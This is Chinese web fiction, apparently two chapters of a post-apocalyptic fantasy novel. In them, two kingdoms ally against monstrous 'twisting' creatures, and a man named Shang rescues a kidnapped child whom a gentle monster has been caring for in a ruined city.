身披白色斗篷,手持一柄大剑,她迈着阔步,走到了众人眼前。一位白发的年轻姑娘,直起身板来比肃清者要高上几分。她,五官清秀但不显妖艳,美丽容颜之中显出纯真;瞳色如海洋之碧蓝,似乎有片无垠的海洋;眼神如利箭一般犀利,任何谎言与罪孽都将难逃她的慧眼;留有长发但却梳成了长辫子,工整的同时显露个性。她身上的白色剑客服上绣有金丝,背后还有由金丝秀做的正义二字,可谓是奢华、高贵与个性的体现。她胸前佩戴的惩戒之章由黄金铸造,光可鉴人,无不彰显她的气质。 所有人的目光都汇聚在她的身上。面对这么多人的注视,她竟没有显现出一点慌乱与紧张,她的一呼一吸都显得十分自然。她平淡地直视前方的轩,轩皱着眉带着警惕之心也直视她。两人四目相对,眉目之间开始传神。轩握着剑的手逐渐用力,她已经做好了一剑斩杀掉阳的准备。阳敏锐的目光自然能看出这些,但她没有露出一点声色,只是默默地注视。 胤: “(好奇)肃清者,你这是要作甚?” 肃清者: “(微笑)不用担心哦,我们是来谈合作的。并没有恶意。” 胤: “(好奇)合作?” 肃清者: “(微笑)对。” 胤: “(好奇)是何种方面的合作?” 肃清者: “(微笑)在诸多方面上。” 胤想了一下,又分析了一下肃清者的性格与为人处事。他猜测肃清者可能是因为扭曲或者疫病而来,因为只有在这个方面上两国才有谈合作的必要。这虽有很多风险,但值得他一试。胤一口答应了肃清者的请求,然后二人各自退掉守卫,在关闭大门,在大殿内进行会谈。 会谈时,胤为这次会谈准备了茶水,他和肃清者一人一杯。肃清者笑面答谢,轻抿一口以示敬意。胤没有过多客套话,开门见山地问道: “先说明理由,你为何而来。” 肃清者笑笑,干脆利落地回答道: “因为扭曲与天灾。” 一听肃清者因这个理由而来,胤立马就对这场合作感兴趣起来。胤喝了一口茶,一脸淡定地对肃清者说: “原来如此。那么请你告诉我,你对合作的要求是什么?” 肃清者一脸严肃地告诉胤: “我的要求只有四个。第一,你我彼此放低进口税,加强商业来往与人才来往。第二,在诸多方面我们进行合作,实现共同强大。第三,我们两国形成对抗天灾与扭曲的第一战线,一同消灭这令我们恨之入骨的灾难。第四,与我们殇王国进行二次和平建交,并以轩和阳一同在神山修炼半年为和平建交的象征。” “你这要求很合理,我很接受。但唯独最后一条,我有些不明白。为什么要以我的护卫和你的手下去神山修炼为象征呢?” “因为这一行,将是两人缘分与故事的开始。她们都是国家之脊梁,都是发誓要守护国家的人。如果她们在修炼过后成为佳友,那么将是我们两国最美好的和平象征。” “哦。原来如此。可你想过没有,轩可相当于你们国家的国王之手。你的父亲国王殇要是失去了两个手,那会是怎样的忧虑呢?” “你们国家的强者很多,有战士可以去暂且接替轩的位置。而且......据我所知,你身边只有轩的原因是墨子邵的死去。墨子邵为什么会死,你觉得我会不知道吗?” “此言怎讲?” “在殇与墨子邵决战之际,是我将那把命运之刃扔给了他。” “什么?!原来这一切你都知道!” “没错。这世间上没有东西能够逃脱我的控制,我即是规则。” “那你为何不去追究我们的责任呢?” “追究?很抱歉。虽然我是殇王国的一颗心脏,但我也是心系世界的。你的想法我是知道的......你想的,无非就是为了天下苍生而改变世界格局,以此来挽救那些生活于痛苦之中的人们。对吗?” “对。那我们是一路人。” “我跟你心在一路,但走的不是一条路。” “所以你来找我谈合作,就是为了你我共同的目标。” “没错。在末世之中,我们必须团结起来。那些无端发生的灾难,我们要一同去渡过。我的爸爸曾告诉我一个道理:在漫漫寒夜之中,每个人都是忍受着寒冷的。只有当这些忍受着寒冷的人凑到一起的时候,才能都能感觉到温暖。我们正如寒夜中的人一样,各自忍受着寒冷。现在我们只需要去团结在一起,便可以撑过这寒夜。” “我明白你的意思了。” “我不会在意利益的冲突,因为我的眼光并不狭隘。不能只顾着眼前的,还要去想着未来。无论今后你我那方成为世界的核心,只要苍生不再承受苦难,都一样的。” “肃清者,以前未曾与你见面,不了解你。今日相见,你让我大开眼界。你可谓是真君子啊!” “莫过,你也如此。你做出决定了吗?” “我心已决,合作稳许。我们两国强强联手,注定能平了那扭曲与天灾。” “莫虚狂妄,路仍漫长。既然做出决定,那么我们就在和平相处协议上签字吧。” “可以。从今日起,太玄国与殇王国正式建立和平交往关系。我们将用我们的智慧与力量去改变这个世界,去消灭那罪孽深重的天灾与扭曲!” “愿路的尽头是成功。” 会谈过后,胤和肃清者在和平相处协议上签子,标志着两国正式结为同盟。在与扭曲生物与天灾的战斗之中,他们将走在前线,领导世界进行对其的抗争运动。也许在不久后的将来,扭曲与天灾将会被消灭。 会谈过后,胤召开会议,任命陈秋明与落秋这两位强大的将领为虎玄卫,暂时接替龙凤卫的位置。同时肃清者任命殇王国国家政府惩戒部副部长松辉为临时部长,暂且接替阳的位置。 在下午时分,阳与轩在京城外的云山亭汇合,接后在龙宗门宗主的大儿子和虎宗门宗主的三儿子的护送下前往神山进行修炼。走过复杂的林中路,又走过三条河,最后来到卧龙江前。坐上一艘大船,沿江向着远方飘去。路途中见闻山水与竹林,还有碧天的林海与连绵起伏的群山。侧头看江边,能瞰桃树、柳树、梨树开,不时有小儿在树旁嬉戏。翘起下巴看远方,隐约能看到地平线处时隐时现的空中楼阁,还有几朵祥云正绕着它飞;还能看到远处白雪皑皑的雪山,雪山上云雾缭绕、仙气四溢,似乎有座亭子正傲立于雪山之巅。迎着太阳的落山与夕阳的黄昏,两人即将抵达目的地。这时,一座连接两座大山的大桥出现在眼前。轩和阳对此再熟悉不过了。两人都曾去神山修炼过,都知道这座桥的象征:神山的入口。 船只渐渐减速,慢慢地停靠在了一座繁荣的码头上。下了船,两人看着面前熟悉但又有些陌生的港口,不禁去回想当初的日子。天色渐晚,两人没有过多停留,就跟着领路人去往了神山脚下的应龙寺。 到了应龙寺的门口,两人驻足观望了一会。应龙寺整体看着就跟普通寺庙差不多,但从每个细节上都加注了奢华的装饰。要说应龙寺比较有名的地方,还是属应龙寺内正中心处的巨大的太极修炼场和靠山那一边的六龙大殿以及寺外大面积的竹林;除了这些,还有寺内巨大的藏书阁。 两人在领路人的带领下进寺内走一圈。看过一圈,两人发现这里还是那般老样子。 太极修炼场上有着不同修为的人在此修炼、切磋、领悟教诲与突破修为。寺内的各处都有在苦苦修炼的人,竹林里也有很多,当然也有浑水摸鱼偷懒的。大殿还是那个样子,供奉着六条神龙,不时有人向神龙祈祷,甚至跪拜;这里香火从不断,这里的人多数信仰这六龙。藏书阁内有很多修炼者在看书,学习先人的经验教训,领悟修炼的方法与意义。 两人的终点不是这里,而是背后的神山。在领路人的带领下,两人离开应龙寺,向着神山走去...... window.fkp = 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殇一脸平淡地将文件给递了回去。鹤凌霄接过文件,有些担心。当她收好文件的时候,却看到殇一脸自信地露出了微笑,她心中的担心便瞬间烟消云散了。殇轻轻地拍了一下桌子,伸出手指着冯邱,说: “你,给我准备钱。” 殇挪动胳膊,指着鹤凌霄,说: “你,给我准备车。” 听到殇突然这么说,鹤凌霄知道这件事是谈成了。冯邱见此,皱着眉毛,一脸疑惑地问殇: “你做好决定了?” “做好了。这件事,我来处理。” 殇很干脆地回答道。鹤凌霄一听,脑子里就冒出了一个问题:殇怎么能这么有自信呢?怀着这个问题,鹤凌霄故作不屑地质问殇: “你怎么这么自信呢?你又不知道邵红尘的下落。” 殇笑了笑,拍了拍手,然后表情瞬间严肃。他指着鹤凌霄说: “很好!这样才对吗。这才是一个找人者该有的态度。” 殇拿起一个杯子,往杯子里倒了点酒,然后转过身去走出屋子,不一会又走了进来。殇把这个杯子递向了鹤凌霄。鹤凌霄一看,没多想就把杯子接了过去。殇见她接了杯子,赶忙坐下。他没有先回答鹤凌霄的问题,而是去问她一个无关紧要的问题。 “我说我在这杯酒里下了毒,你敢喝吗?” 屋内的空气瞬间凝固,鹤凌霄和冯邱一脸严肃地看着殇。殇指着鹤凌霄手里的那杯酒,笑呵呵地说道: “你要是敢喝,我就敢告诉你。” 冯邱缓缓起身,慢慢地去拔腰间的剑。殇见了,歪了下头,一脸平淡地看着他,似乎并不惧怕他。鹤凌霄叫住了冯邱,让他坐下。冯邱虽有不愿,但还是坐下了。鹤凌霄犹豫了一会,然后拿起杯子,深吸一口气,鼓起勇气喝了下去。刚喝下去,鹤凌霄就尝出了异样。她能明显感觉到这酒里掺了什么东西。喝完,鹤凌霄神色坚定地对殇说: “我喝了,告诉我们吧。” 殇笑了笑,故作惊讶地对鹤凌霄说: “你还真敢喝啊?!” 一听殇这么说,鹤凌霄立马起身,就要抽枪去击毙殇。殇见了,一脸淡定地对鹤凌霄说: “你先别激动。你就不想知道我在酒里下了什么毒吗?” 鹤凌霄稳住自己的情绪,一脸严肃地问殇: “说!下了什么毒?” 殇一脸淡定地回答道: “心毒。” 鹤凌霄一脸疑惑,隐约之间明白了殇的意思。她慢慢坐下,像是解开了误会一样重新露出了笑容。冯邱见了,满脸的不理解。他看了看鹤凌霄,又看了看殇,似乎就他一个被蒙在鼓里。鹤凌霄在坐下后不一会想明白了,她不禁在心里夸赞起殇的聪明。鹤凌霄笑着对殇说: “你真是狡猾啊!殇。” 殇笑了笑,说道: “如果不这么弄,我会知道我把她带回来后交给的是什么样的人吗?” 这时,冯邱听明白了,他惊呼一声,对着殇夸赞道: “不愧是恩奉婆婆推荐的人!属实是高明。” 殇笑了笑,想到个问题,又瞬间严肃起来。殇问鹤凌霄: “先说出你们的来历。你们到底是属于那一条船上的?” 鹤凌霄拿出自己的名牌,拿给殇看。殇一看,三角协会旗下的天龙一科。殇点了点头,对鹤凌霄说: “来历不小啊......不过那也没什么,你们的来历不决定你们力场的位置。既然找我来干这种事,那么你们就跟龙辉神匠有关系。是好是坏,我就不得而知了。” 带着之前的问题,鹤凌霄问殇: “你真的知道邵红尘的位置吗?” 殇点了点头,告诉她: “我知道。所以我才让你给我准备车辆。” “具体在哪里?” 鹤凌霄追问道。殇很淡定地回答她: “说出来你可能不信。” “说。只要有可能,我们都会相信的。” “林州市。” “什么?!那个地方怎么可能......” “你是信我还是不信我?要是信我,我们现在就出发。要是不信我,那么那个孩子生死与否,就请不要去追究我的责任。” “我信你。虽然很不可思议,但值得我们一试” “那还等什么,吃完饭我们就去吧。” “不不不!有事在先,我们没心思吃下去饭!我们现在就走吧。” “行啊!走吧。” “对了,殇。你还没说你要多少钱呢?” “等那小姑娘安全了,再谈也不迟。” 离开这里后,鹤凌霄通过自己的职权调来了一辆悬浮车。殇见了,对着鹤凌霄夸赞了几句。鹤凌霄叫些人来帮忙,叫来了十几号人。之后,这十几号人同他们三人上了车,由冯邱驾驶着这辆悬浮车向着林州市前进。 路上的风景很特殊,但他们无心去欣赏。 到了林州市之后,他们迫降在了市中心的一座废弃的广场上。下了车,才发现这里竟格外宁静。如鹤凌霄预料的那般不同,本应该是扭曲生物的聚居地的林州市却见不到扭曲生物的影子,似乎他们不善在白天出没。林州市的破败程度远超殇的预期,这比之前他去的废城区还要破败。他们没有过多停留,便开始在林州市内寻找邵红尘的身影。他们以广场为中心分散开来寻找。为了确保能赶快找到邵红尘,他们使用了最高级的生命检测装置。找着找着,殇就和其他人分开了。他独自一人在城市之中寻找,用着手里的仪器,他能检测到很大范围内的生命信号。走了半天,就是不见到有孩童的生命信号出现。这时,他开始一边仔细观察这座城市一边寻找邵红尘的下落。 走在林州市的街道上,总能让人感觉提心吊胆。大街上的路早已变得裂痕遍布,裂痕中杂草丛生,不时还能看到锐利的钢筋藏匿在杂草丛之中。街两边的建筑残破至极,上面满是被岁月与扭曲生物所侵蚀的痕迹。这些建筑有的缺墙少顶、有的干脆是被拦腰折断、有的是歪倒在其他建筑上、有的甚至已经土崩瓦解为了无数碎石渣。远处的高塔要么是坍塌成了大片废墟,要么是变成了残破的烂尾楼,可曾想过它们曾是城市森林中一颗巨树。它们本不是烂尾工程,却此刻比烂尾工程还要烂。它们烂了,不止从它们的外表中能看出来,更甚于从它们的地基中看出来。城市里一片死气沉沉的样子,毫无生气与希望可言。唯有被摧残的最轻的马路,还能证明这个地方曾经的生机与繁荣。这个城市曾经活着...... 殇为这个城市感到了惋惜与悲伤,除此之外,他什么也做不了。殇走着走着,这里的景象就开始异常起来。地面的缝隙之中冒出了红色的藤蔓,走近一瞧,藤蔓上还长着许多只眼睛和嘴巴。殇踹了一脚,发现这根本不是藤蔓,而是一个活着的动物。越往前走,这种惊悚的景象就越多。缠绕上血管与各种器官的路灯杆、从墙缝里伸出来的血手、依附在建筑上的蠕动肉块、挂着血肉组织的电线等,都是一幅幅令人作呕的景象。它们渗透进了这座城市之中,无孔不入,令人毛骨悚然。 殇: “(反胃)卧槽!这些东西真他妈的恶心!” 这时,殇有种感觉,邵红尘似乎就在前方了。他跑着向前赶去,丝毫不理会路上的惊悚景象。跑着跑着,他来到了一片巨大的空地上。当看到这块空地上的景象时,他被深深地震撼到了,同时也被深深地恶心到了,他不由得惊出了一身冷汗。 首先映入眼帘的是一个环形的大坡;大坡很缓,上面是一片小规模的废墟,大致能看出这曾是一座居民区。废墟的墙面其上均是爪痕遍布,可想而知这里曾经有多少扭曲生物在其间出没。接着是一个巨大的深坑,深坑目测有二十几米深,不用大型工程器械很难弄出这样大的坑洞来。深坑之中是无数蠕动的血肉,它们本身还散发着恶臭。恶心极了!这些血肉在坑底形成了规模巨大的网状结构,如一个庞大的血液循环系统一样,每次蠕动都是在运输物质。仔细看,能发现刻字黑色石柱掺杂在其中,它们似一块块的黑色的骨头,支撑起了这个网状结构。往中心看,能看到深坑中心的一座巨大的黑色石塔。塔高目测有五十米,其上刻着诡异的古代文字。往上看,能看到塔顶嵌着一颗巨大的紫色宝石,其上发着怪异的紫色光芒。若从上空去看这块空地,会惊奇地发现它像是大地的一只眼睛,正在凝视着一切。若你去试着凝视它,就会发现它也在凝视你。 殇见了这番景象,不由得干呕了半天。之后,他不由得开始思考。思考这里的异常,思考那座高塔的意义,他推测这里很可能是扭曲现象的中心。他一心向着去找孩子,就没太顾及这些。他走进了这片废墟之中,在废墟中寻找邵红尘的身影。一段时间过去,他一无所获。他想着离开去别的地方找找,可是心里总感觉邵红尘就在这里。他相信他的直觉,就又在这里找了一段时间。功夫不负有心人,在他搜索一家大超市的时候,他有了新发现。 在这家超市的货架间行走的时候,突然有什么东西拉住了他的脚。他停下脚步,转头看去,发现是一个头发凌乱的孩子拉住了他的脚。那个孩子一点也不怕生,见到殇后开心地笑了。看着她笑,殇也不禁露出笑容。殇俯下身轻轻地抱起这个孩子,然后打量了她一番。她是黑头发黄皮肤的,而且穿着红色的中式儿童服装,殇推测她一定就是邵红尘。这时,一个悬浮金属球飞了过来,金属球上有着亮眼的龙辉神匠标志。这下,殇能肯定这就是邵红尘本人。殇笑了笑,对怀里的邵红尘说: “来。孩子,叔叔带你回家。” 邵红尘满面笑容,用手去抓殇的脸,殇没有躲避,任由她拉拽自己的脸。她只是轻轻地殇的脸蛋捏了两下,然后就松开手,开始自娱自乐。殇看着怀里这个好动的小姑娘,不禁露出了长者的微笑。看着他,殇回想起了自己的两个女儿。曾经,他也像现在这么抱着她们,她们也向她一样在自己的怀里开心地笑。殇此时准备抱走邵红尘,就在这时,地面突然开始颤抖。一个巨大的身影出现殇的身后。殇转身看去,发现一个全身漆黑的扭曲生物正站在自己的身后。殇吓了一跳,前冲几步,放下邵红尘,正准备去跟扭曲生物搏斗,突然听到邵红尘童真的声音。 “黑黑。这里有个叔叔,我们给他做点饭吧。他应该饿了。” 听到邵红尘这么说,殇一脸疑惑地看向那个被邵红尘称为黑黑的扭曲生物,他挠了挠头,不知此时该如何是好了。邵红尘张开双臂,笑着跑向了那个扭曲生物,殇见了,正要去拦住她,就被那个金属球给拦了下来。那个金属球摇摇头,主动落到了殇的手中。殇拿起这个金属球看了看,简单地检查了一下,发现这个金属球内的很多模块都是损坏的,其中包括发声、定位、通讯模块。上面有人为破拆的痕迹,似乎是曾经绑架邵红尘的人所为。 看过这个金属球,殇抬头去看那个扭曲生物和邵红尘。他瞪大双眼,接下来他看到的景象着实震撼到了他。一个头上长着三只大眼、有着长臂长腿与巨爪、身高将近四米的食人怪物,竟然表现出了反常的温柔。这个怪物轻轻地抱着邵红尘,像安抚自己的孩子一样安抚邵红尘。邵红尘在它的怀里一脸享受,似乎抱着她不是一个怪物,而是她的家人。殇仔细观察,能看出它用的力气很小,小到它的肌肉都是松弛状态的。 不仅是安抚,那个扭曲生物竟然从背后的触手中拿出一盒饼干,然后轻轻地放在货架上。他轻轻地打开,轻轻地撕开包装,然后用指尖轻轻捏起一块饼干,去喂给邵红尘吃。邵红尘丝毫没有害怕,反而冲着他露出童真的笑容,转头张开嘴一下子咬住这块饼干,很自然地吃了起来。它的这种行为在殇的眼里是无法理解的,一个怪物竟能对一个孩子如此温柔,这怎么听都觉得不可思议。可摆在殇面前的事实,让他对自己心中对怪物的定义产生了深深的怀疑。 邵红尘吃着吃着,突然转头看了这个怪物一眼。这个怪物以为她饿了,就又给她拿来了一块,这次她没有去咬,而是用手拿起了这块饼干,将饼干递给了它。邵红尘笑着对它说: “给你吃。” 它很惊讶地用手指了指自己,似乎是在问邵红尘。邵红尘点了点头,它轻轻地用手轻抚邵红尘的头,似乎是在夸邵红尘懂事。它小心翼翼地从邵红尘手中拿过这块饼干,然后慢慢地放进了自己在右脸处的嘴中,一口咽了下去。它右脸的嘴里遍布利齿,看着就让人胆寒。见到它吃了饼干,邵红尘开心地笑了。眼前的温馨的一幕让殇感觉到感动,一个怪物所展现出的人性,直击殇心里脆弱的那一面。殇走到这个扭曲生物身前,轻轻地用手摸了摸它。它的皮肤很粗糙,而且其中隐藏着许多大大小小的伤痕。那个扭曲生物见他靠近,对着殇挥了挥手,向他打招呼。殇叹了口气,带着愧疚对它说: “抱歉啊,之前错怪你了。我以为你是个嗜血的怪物,想不到你是通人性的。” 它似乎能听懂殇的话。它轻轻地触摸殇的肩膀,殇抬起头,它对着殇轻轻地摇了摇头,似乎在表示它没有怪罪殇。殇后撤两步,对着它竖起了大拇指,夸赞道: “大黑,你是好样的!” 听到殇夸它,它略带羞涩地挠了挠后脑勺,晃了晃脑袋。邵红尘见了,开心地笑了。它见邵红尘笑了,就伸出大拇指,稍稍一弯,将手手指挪到嘴边,比划出了一抹独特的微笑。邵红尘见了,就笑得更开心了,开心得都鼓起了掌。眼前的景象让殇心里觉得非常温暖。能在末世之中见到这种景象,他觉得是天大的幸运。 过了一会,大黑缓缓起身,抱着邵红尘,驮着背后的一些物资离开了大超市,向着一栋不起眼的小房子走去。殇见了,立马跑着跟了上去。那个金属球也跟了上去。不知不觉间,殇暂时忘却了要带邵红尘走的事,就跟着大黑一起向着它家走。路上,殇问大黑: “你会说话吗?” 大黑用手比划了一下,写了两个字:不会。殇点了点头,对大黑夸赞道: “行啊!大黑,你还会写字呢。” 大黑点了点头。殇又问道: “你能听懂我的话,对吗?” 大黑点了点头。殇继续问道: “你还记得你叫什么名字吗?” 大黑摇了摇头。就这样,殇在路上问了大黑很多问题,大部分的答复是否定的。大黑能记得的只有写字、理解别人的话语以及要对周围的人好。聊着聊着,殇一度以为自己在跟一个活生生的人聊天,而非一个怪物。或许说,它本来就不是怪物,它也曾是人类。 到了大黑的家,殇这才发现废墟之中原来还有一间简易的庇护所。大黑的家原来是个车库,后来在机缘巧合与他的改良下成了一个高大的庇护所。庇护所的门框很高,是为了保证它进出顺利而弄成的。庇护所的门是横拉的石门,似乎是某座桥的桥体。庇护所的房顶是漏的,但是它给上面披了层厚厚的塑料膜。庇护所周围还有几个圆洞,洞底下是城市的下水道。从这些,殇可以看出大黑实际上是个聪明的“人”,他懂得去改变环境与利用环境。 走进庇护所,大黑拉上门,门与门框之间的缝隙让外面的光照了进来,让庇护所内不是那么黑暗。进了庇护所,殇发现地面上有很多床垫与褥子,刚刚回来的邵红尘就在上面蹦跶,似乎是大黑专门为她准备的。除了这些以外,还有很多书与脏娃娃,甚至还有一个大浴缸!看来大黑为了照顾邵红尘下了很多心思。殇见了这些,很佩服大黑能想的这么周全。殇对大黑竖起了大拇指,笑着对大黑夸赞道: “好家伙,你这为了照顾孩子下了不少心思啊。” 大黑不好意思地挠了挠头。这时,殇环视了庇护所一圈,并没有发现大黑的床。殇有些疑惑,便去问大黑: “大黑,你的床呢?” 大黑低头看地,殇也跟着低头看地。他猛地抬起头,明白大黑的意思了。原来大黑一直都是睡地板的。这时,邵红尘在那边撒娇,让大黑陪她玩。大黑听了,立马就走过去陪她玩耍。殇见了,对着大黑露出了钦佩的笑容。也就是在这段时间里,殇有机会去看那个金属悬浮球里面所存储的视频画面了。殇迫不及待地打开了金属悬浮球的播放系统,全息影像投射在庇护所的一面墙上,殇坐在地面上静静地去看。 通历43年7月15日,画面一片漆黑,但能听到有人在讲话。 “少爷,这小家伙我们给你抓到了。什么?!要我们杀了她。这不好吧少爷......哦哦哦,不敢不敢,哦,那行,我们这就处理掉他。” 一段时间没有声音,过一会又传来了那人的说话声。 “呵呵呵......操!就给我几个钱就敢命令我去杀她,把我当什么了?一次性工具是吗?我呸!他妈的,就是一人渣。对自己嫂子的孩子下这么恨的手,只因为当初抢不过自己的哥哥,他妈的,就是一傻逼。别以为我会按你的规则行事,这孩子我杀不得,我没那个命。既然是到我手上了,那我就把她送到海拉尔那边,让他找龙辉神匠的人所要点小钱,再用我们的替身赛博人帮我们把孩子送回去。等拿了钱,我们两个立马人间蒸发,找个新地方改名换姓,开启新人生。” 通历43年7月16日,画面仍是一片漆黑,但也能同昨天的录像一样听到有人在讲话。 “我草你妈!真他妈的不讲规矩。要杀人灭口是吧?!来呀,我死了让你也得陪葬!陈米,把那小孩放到特制保险柜里,设定好日期,让她在指定日期逃出来。还有给那个铁球修一下,让它别啥也干不了!” “知道了,大哥。” 轰隆隆的爆炸声与叮叮当当的子弹碰撞车体的声音传来,紧接着是警报响起。一阵嘈杂的怪声过后,是一个男人的呻吟声。 “完犊子操了!这傻逼得逞了!他妈的,我今天肯定得死,你也别想活着!等着车毁人亡之后吧,你会为了你的计划付出代价的!老子会在地狱拎着棒子等你的,到时候我们之间的账,在地狱一并算清......” 连续几声爆炸伴随着猛烈的撞击,接着是轰隆几声伴随着画面的剧烈抖动,之后一切归为寂静。 通历43年7月17日,画面终于不是单调的黑色,而是实景。在空寂的废墟之中,有着一个很大的金属盒子。此时悬浮球的视角锁定在了这个金属盒子上,正在等待这个盒子的打开。过了一会,这个盒子打开了,邵红尘迷迷糊糊地从中爬了出来。见到周围陌生的景象,邵红尘迷茫地走了一会,就因为害怕哭了起来。见到邵红尘哭,这个金属球就主动去逗邵红尘开心。邵红尘见到熟悉的金属球,突然不哭了,笑着伸手去抓,这个金属球很听话地飞向了邵红尘,然后被邵红尘一把抱在怀里。 她的哭声似乎吸引到了什么,地面开始颤动,废墟之中传来了轻轻的踏地声。金属球转过视角去看,发现一个身高四米的黑色类人生物跌跌撞撞地从废墟里面跑了出来。这个金属球立马启动了战斗模式,从邵红尘怀里飞出,就准备用电磁脉冲去攻击这个生物。它一个加速撞到了这个生物身上,然后就准备放电。可这时系统发生了故障,战斗系统被禁用了。遇到这种情况,它只能通过不断的撞击来攻击这个生物。这个生物一把把它握在手中,似乎是在阻止它这样的自杀式攻击。邵红尘见到金属球被它握在了手里,再加上本身对它的恐惧,邵红尘无助地伸出双手去抓了两下,然后就哇一下放声大哭。见到这种情况,它庞大的身躯被邵红尘吓得一颤。它摊开手,看着手中的金属球,似乎是明白了什么。它用两根手指夹住这个金属球,然后慢慢地走到邵红尘身前,俯下身来将这个金属球还给了邵红尘。邵红尘拿回这个金属球之后抱紧了这个金属球,但还是在哭泣。 它见了,起身挠了挠头,想了一下,想出了一个好主意。他突然转身跑向了废墟之中,像是去寻找什么东西。过了一会,它再次出现,从废墟之中跑来。它手里握着个东西,待它靠近邵红尘之后,它俯下身来,轻轻地用手指捻起它手心里的宝贝,将这宝贝慢慢地送到了邵红尘面前。邵红尘一看,是一块奶糖,她看了,放下怀中的金属球,一把拿过了这块奶糖。吃过奶糖,她也不哭了,笑呵呵地看着它。它突然转身离开了,邵红尘见了,着急地向他伸出双手,走了几步就要去追。眼看追不上,她又要哭。这时,一朵小花出现在邵红尘的眼前。邵红尘向上一看,发现是它为邵红尘采得一朵小花。邵红尘拿过这朵小花,欢呼雀跃地在它面前蹦跶。过了一会,邵红尘对着它张开了双臂,慢慢地走向了它。它见了,小心翼翼地走上前去,轻轻地抱起了它。邵红尘此时丝毫没有害怕,甚至在它怀里开心地笑。 看着邵红尘这么开心,它不知为何,就落了几滴泪。因为它的大部分眼睛在头的另一侧,所以邵红尘并没有看到它真正流泪的样子。邵红尘见它落泪,立马就不笑了,呆呆地看着它的眼睛。邵红尘伸出双手,要去摸什么东西。它以为邵红尘是要摸它的脸,它就用它的大手托起邵红尘,让她靠近了自己的脸。令它没想到的是,邵红尘在靠近它的脸后,竟是用手给它擦眼泪。擦完后,就对着它笑。它很是感动,它将邵红尘重新放回自己的怀里,带着她回到了自己的家。 因为担心邵红尘晚上睡觉冷,它就从城内的居民区里挨家按户地拿被子与床垫,在庇护所里给她铺出了很大的一张床。因为担心屋子漏雨会让邵红尘感冒,它就把郊区塑料场里的一块大塑料拿来盖在房顶上,用它来挡雨。因为担心邵红尘生活问题,它就在大商场里弄来了娃娃和书籍,还为她准备了一个大浴缸。因为担心邵红尘晚上怕黑,它就从郊区的煤窑子那里弄来了很多的煤,还用自己灵巧的手把一堆建筑碎块变成了一个小炉子。 早上,它抱着邵红尘去城内最近的大超市弄吃的和喝的。弄到了,它都喂给邵红尘,自己却不肯去尝一口。邵红尘每次都会懂事地给它也分一点,它也每次都很欣然地接受。之后,它就带着邵红尘在街上转悠一会,虽然也没什么可看的,但每次邵红尘都很高兴。邵红尘高兴,它就高兴。 中午,转悠完,它就抱着邵红尘回回家。到了家,邵红尘总是要让它陪着玩一会,它也总是很有耐心地去陪。玩累了,邵红尘就倒在床上睡觉,它在一旁安抚着邵红尘直到她睡着。为了防止邵红尘落枕,它总会把一个被子卷成枕头的样子,垫在邵红尘头底下,还会给她盖上一层被子。虽然总会被邵红尘踢开,但它一直会这么做。在邵红尘睡觉的时候,它就坐在一旁的地面上默默地守护着她。每当外面路过扭曲生物,无论大小,它都会用最残暴的方式去驱逐它们,因为它知道它的同胞会吃掉邵红尘。 下午,邵红尘醒了,它就抱着邵红尘去熟悉的大超市弄食物和水。弄到了,给邵红尘吃,让她吃得饱饱的。吃完饭,它就抱着邵红尘去在周围的废墟内遛弯,一直遛到太阳快落山的时候。回到家,它为邵红尘升起炉子,让家里亮起来。在邵红尘上床睡觉前的那段时间,它就负责陪着邵红尘玩。在邵红尘睡觉前,她总是自己去看会书。看书的时候,那边有风,它就坐在那边,为邵红尘挡风。她看书会把看到的内容念出来,似乎是想让它听到。念着念着,她就突然不念了,把书放到一旁,让它哄她睡觉。等把邵红尘哄睡着了,它还不能去睡觉。它要一直醒着,为了保护邵红尘的安全。在黑夜中扭曲生物是活跃的,尤其是月相为满月的时候。 它照顾邵红尘的时候顾及了很多方面,邵红尘需求的那些它基本都能想到。虽然它从不说一句话,但它用行动证明了它的决心。有一种感觉,它照顾邵红尘,就像是在照顾自己的孩子一样。 看过这些,殇大受震撼。他的鼻子有些发酸,他的眼角泛起了泪花。他被大黑的行为给深深感动到了。一个能撕碎雄狮的野兽,却能表现出似女子般细腻的温柔,真是多么不可思议的事!这是多么大的奇迹!大黑的那种善良,是最纯真的;大黑所体现的,是人性最温柔的那一面。殇抹了抹眼角的泪,然后深吸一口气,平复了下情绪。他转身走向了大黑,虽心有不愿,但他还是告诉了大黑他的来意。大黑听了,没有悲伤与挽留,只是默默地点了点头。大黑对着殇竖起了大拇指,然后用它的手指在地上写下了两个大字:“回家”。殇点了点头,大黑也跟着点了点头。 大黑轻轻地抚摸邵红尘的头,然后看向了殇。殇点了点头,轻轻地抱起了邵红尘,与大黑道别。他向大黑挥手道别,大黑也向他挥手道别。殇抱着邵红尘,一步一步地走出了庇护所。到了庇护所外,殇怀里的邵红尘问殇: “叔叔,叔叔,你要带我去哪里呀?” 殇露出微笑,消去严肃,告诉邵红尘: “叔叔要带你回家。” 邵红尘一听到回家二字,立马就开心地笑了。边笑邵红尘边说: “要回家喽!回家找妈妈去喽!” 殇微笑着点了点头,说道: “对!叔叔带你回家找你妈妈去!” 邵红尘开心地笑,殇也跟着笑。笑着笑着,殇就笑不起来了。此时,殇不禁有些心酸。他想到了大黑,想到了大黑照顾邵红尘的那段日子。想必,大黑肯定心里舍不得邵红尘走吧。 就在这时,殇背后传来诡异的嗡嗡声。他的影子突然出现在他的眼前,随之出现的还有地面上的檀紫色光芒。他回头看去,发现那座高塔上的紫水晶上出现了一道紫色光柱。那光柱直入云霄,发出的光照耀这座城市,让城市的每个角落都呈现诡异的檀紫色。大片紫色的云彩汇聚在城市上空,围绕着光柱形成了一个巨大的涡旋。光柱不断闪烁,涡旋不断扩大,雷电在漩涡中涌动。突然,城市之中挂起了阵阵狂风,卷起一片又一片的尘屑。刺耳的尖啸声回荡在大楼之间,紫色的薄雾在城市间开始弥漫。地面开始颤动,天空中雷声不断,似乎在迎接某个强大存在的降临。突然间,许多深灰色的根茎从深坑之中出现。这些根茎野蛮地生长,有的逐渐缠绕在了中心的高塔上,有的已经蔓延到了深坑旁边的废墟之中。很快地,这些根茎就包裹住了那颗紫色水晶,并在那些废墟之中形成了复杂的网状结构。然后,这些野蛮的根茎在在这颗紫色水晶的上面结出了一个白色的花苞。花苞出现之时,城市里回荡起了扭曲生物的尖啸声。 殇抱着邵红尘,在檀紫色的光芒之中凝望着眼前的景象。压迫感袭来,他不禁开始紧张起来...... ...... window.fkp = 